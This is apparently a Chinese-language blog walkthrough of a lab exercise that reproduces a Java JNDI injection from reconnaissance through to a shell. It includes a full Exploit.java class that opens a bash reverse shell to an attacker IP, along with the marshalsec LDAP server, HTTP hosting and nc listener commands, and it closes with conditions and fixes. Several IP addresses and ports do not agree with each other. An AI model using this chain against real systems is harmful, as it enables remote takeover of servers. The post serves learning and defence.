kizumi_header_banner_img

这里是幻灬十一的博客,欢迎来到我的世界

加载中

文章导读

Java JNDI 注入漏洞完整复现实战教程


avatar
11 2026年7月30日 22

前言

JNDI 注入是 Java 安全领域经典高危漏洞,当应用直接将用户可控参数传入lookup()方法且未做访问限制时,攻击者可搭建恶意 LDAP 服务,诱导靶机远程加载恶意类执行任意系统命令。本文完整记录从信息收集、漏洞点位发现到手工搭建恶意服务拿下靶机 Shell 的全流程,适合渗透入门学习复盘。

一、信息收集阶段

渗透测试第一步对目标资产全面探测,梳理开放端口、Web 目录、技术栈,寻找可利用漏洞入口。

1. Nmap 全端口 & 服务版本扫描

使用 Nmap 全端口扫描,识别目标开放端口、操作系统、服务版本。

扫描命令

nmap -p- -sV -O -Pn 10.10.1.122

扫描结果分析

  1. 22/tcp:SSH 远程登录服务,版本 OpenSSH 9.6p1;
  2. 80/tcp:HTTP 网页服务,后端容器为 Apache Tomcat;
  3. 底层运行 Linux 系统。

2. Dirsearch 网站目录爆破

扫描网站隐藏后台、敏感配置文件,挖掘信息泄露入口。

执行命令

bash
dirsearch -u http://10.10.1.122 -e php,html,js

工具运行日志

结果分析

目录扫描未发现具有利用价值的隐藏路径,无敏感目录泄露。

3. Nuclei 自动化漏洞扫描

Nuclei 内置海量漏洞 POC,自动识别站点技术栈并检测已知高危漏洞。

扫描命令

nuclei -u http://10.10.1.122 -silent
参数说明:
  • -u:指定目标访问地址
  • -silent:静默模式,仅输出命中漏洞 / 风险项

扫描输出

结果分析

未扫描出 CVE 编号类高危漏洞,仅存在安全响应头缺失、OPTIONS 方法开放等低风险配置缺陷,需手动访问页面寻找业务漏洞点。

4. 访问 Web 业务页面,定位 JNDI 注入漏洞点

打开目标 Web 页面:http://10.10.1.122

页面展示:YX 平台・数据源健康检查功能,页面存在输入框,参数标识为resource,提示输入 JNDI 资源地址,示例:java:comp/env/jdbc/primaryDS

页面交互逻辑

  1. 用户输入资源地址后点击「检查」,浏览器发起 GET 请求:

    http://10.10.1.22/health/check?resource=java:comp/env/jdbc/primaryDS

  2. 页面返回报错信息:Need to specify class name in environment or system property, or as an applet parameter, or in an application resource file:java.naming.factory.initial

漏洞判断

  1. resource 请求参数完全由用户可控;
  2. 后端程序直接将参数值作为 JNDI 地址传入lookup()进行连接查询;
  3. 无 IP / 协议白名单过滤,可自定义 LDAP 协议地址,存在典型JNDI 注入漏洞

JNDI 注入简易原理

JNDI 相当于 Java 程序的地址簿,程序可通过名称查找、加载远程资源。攻击者可控查询名称时,可构造恶意 LDAP 地址,诱导目标连接自建恶意服务,远程下载并执行恶意 Java 代码,最终获取服务器控制权。

二、漏洞利用阶段:获取靶机 Shell 权限

完整攻击链路说明

想要完成 JNDI 注入拿 Shell,需要搭建 4 套环境形成攻击闭环:
  1. 编写内置反弹 Shell 逻辑的 Java 恶意类;
  2. 搭建恶意 LDAP 指路服务:引导靶机前往攻击机 HTTP 地址下载恶意代码;
  3. 搭建静态 HTTP 文件服务:存放编译后的恶意.class字节码;
  4. 本地开启端口监听:接收靶机反弹 Shell 连接,获取交互式命令行。

步骤 1:攻击环境准备

核心工具:marshalsec

开源 Java 安全工具,专门用于搭建恶意 LDAP/RMI 服务,是 JNDI 注入利用核心工具,需从 GitHub 下载源码。

配套工具:Maven

Java 项目构建打包工具,将 marshalsec 源码编译打包为可运行 jar 包。

marshalsec 打包命令

进入 marshalsec 源码根目录执行:
mvn clean package -DskipTests
参数说明:
  • clean:清空历史打包缓存文件,避免编译报错;
  • package:将源码编译、打包为可执行 jar 包;
  • -DskipTests:跳过项目单元测试,大幅缩短打包耗时。

    打包成功输出:BUILD SUCCESS

步骤 2:编写恶意 Java 类 Exploit.java

该类被靶机 JVM 加载时,自动执行静态代码块内的反弹 Shell 指令。
java
运行
public class Exploit {
    // 静态代码块:类加载瞬间自动执行,无需实例化调用
    static {
        try {
            // bash反弹Shell命令,回连攻击机5544端口
            String cmd = "bash -i >& /dev/tcp/172.16.12.122/5544 0>&1";
            // Java系统命令执行API
            Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
        } catch (Exception e) {
            // 捕获异常,防止命令执行失败导致JVM终止类加载
        }
    }
}

脚本详细解读

  1. public class Exploit:类名必须和文件名完全一致(Exploit.java),大小写严格匹配;
  2. static {}:Java 静态初始化代码块,类被 JVM 载入内存时自动执行,适配 JNDI 远程加载触发场景;
  3. Runtime.getRuntime().exec():Java 内置执行操作系统命令的接口;
  4. catch (Exception e):异常捕获容错,避免恶意代码报错中断靶机程序。

步骤 3:编译源码生成恶意字节码

.java源码为纯文本,无法被 JVM 识别,必须编译为二进制.class字节码文件。
javac  Exploit.java
执行后目录生成Exploit.class,即为远程加载使用的恶意字节码文件。

步骤 4:开启 3 组独立终端,启动全套恶意服务

三套服务必须同时运行,缺一不可。

终端 1:启动 LDAP 恶意指路服务

监听 1389 端口,靶机连接后返回指向恶意类的 Reference 引用对象
bash
./jdk1.8.0_501/bin/java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://172.16.11.83:80/#Exploit" 1389
参数说明:
  • -cp:指定类路径,工具无默认启动类,需手动声明运行类;
  • marshalsec.jndi.LDAPRefServer:LDAP 恶意引用服务启动类;
  • "http://172.16.13.93:8090/#Exploit":告知靶机前往该 HTTP 地址下载 Exploit 恶意类;
  • 1389:LDAP 服务监听端口。
  • ./jdk1.8.0_501/bin/java:只读jdk8的绝对路径启动

终端 2:启动 HTTP 静态文件下载服务

Exploit.class所在目录执行,提供恶意字节码下载访问:
python3 -m http.server 8090
输出:Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...

终端 3:开启反弹 Shell 端口监听

等待靶机主动发起 TCP 回连:
nc -lvnp 5544

步骤 5:浏览器传入恶意 LDAP 地址触发漏洞

全部服务启动完成后,访问漏洞触发 URL:
ldap://172.16.13.93:1389/Exploit
访问后切换至 nc 监听终端,即可获取靶机 bash Shell 权限。

完整攻击执行链路

  1. 靶机接收resource参数内的恶意 LDAP 地址,主动发起 TCP 连接攻击机 1389 端口;
  2. 攻击机 LDAP 服务接收请求,返回 Reference 对象,指引靶机前往http://172.16.13.105:8090下载 Exploit 类;
  3. 靶机 JVM 发起 HTTP 请求,下载恶意Exploit.class字节码;
  4. 靶机 JVM 加载远程恶意类,自动执行静态代码块中的反弹 Shell 命令;
  5. 靶机主动向外建立 TCP 连接,回连攻击机 5544 监听端口;
  6. nc 监听窗口捕获连接,成功获取靶机交互式 bash 命令行权限。

三、核心概念详解

1. JVM (Java 虚拟机)

JVM 是 Java 程序运行的底层环境,实现跨平台特性。只要存在对应系统的 JVM,同一套 Java 字节码可在 Windows、Linux、MacOS 等系统运行。

JNDI 注入漏洞本质就是利用 JVM 支持远程加载 class 字节码的特性,诱导目标下载执行恶意代码。

2. JNDI

JNDI 全称 Java 命名与目录接口,是 Java 提供的标准 API,统一对接各类目录、命名服务(LDAP、RMI、DNS 等)。业务中常用来读取数据库配置、远程资源地址。

当开发者直接拼接用户输入到 JNDI 查询地址,且未限制协议、访问地址时,就会产生 JNDI 注入漏洞。

3. marshalsec 工具

开源 JNDI/RMI 漏洞利用工具,封装了恶意 LDAP、RMI 服务逻辑,无需手动编写 LDAP 服务代码,一键启动指路服务,是 Java JNDI 注入最常用工具。

四、漏洞触发必要条件

  1. 目标 JDK 版本存在安全缺陷:JDK 8u191 以下、JDK 11.0.1 以下等低版本,未限制远程 class 加载;
  2. 用户可控参数直接传入InitialContext.lookup()方法;
  3. 后端无协议白名单、无外网访问拦截,可访问攻击者搭建的 LDAP、HTTP 服务;
  4. 未过滤ldap://rmi://等危险协议字符串。

五、漏洞修复与防护方案

  1. 升级 JDK 版本

    升级至 JDK 8u191、JDK 11.0.1 及以上高版本,官方默认禁止远程加载外部 class 字节码,从底层阻断漏洞利用。

  2. 输入过滤与白名单限制
  • 校验用户输入的 JNDI 地址,黑名单拦截ldap://rmi://dns://等危险协议;
  • 采用白名单机制,仅允许内网可信地址、固定java:comp/env本地协议。
  1. 网络层访问控制

    业务服务器出站防火墙限制,禁止业务服务主动访问外网 LDAP(1389 端口)、RMI(1099 端口)。

  2. 代码层安全改造

    避免直接拼接用户可控参数至 lookup 查询;若必须动态传入资源地址,增加域名、协议校验逻辑。

 



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码

站点统计

📄 文章 32
📁 分类 4
🏷️ 标签 0
📝 总字数 337k
⏱️ 运行 483天
头像
关于本站
在代码和动漫的夹缝里收集细碎美好
欢迎同好交流、素材互换
站点持续装修优化中✨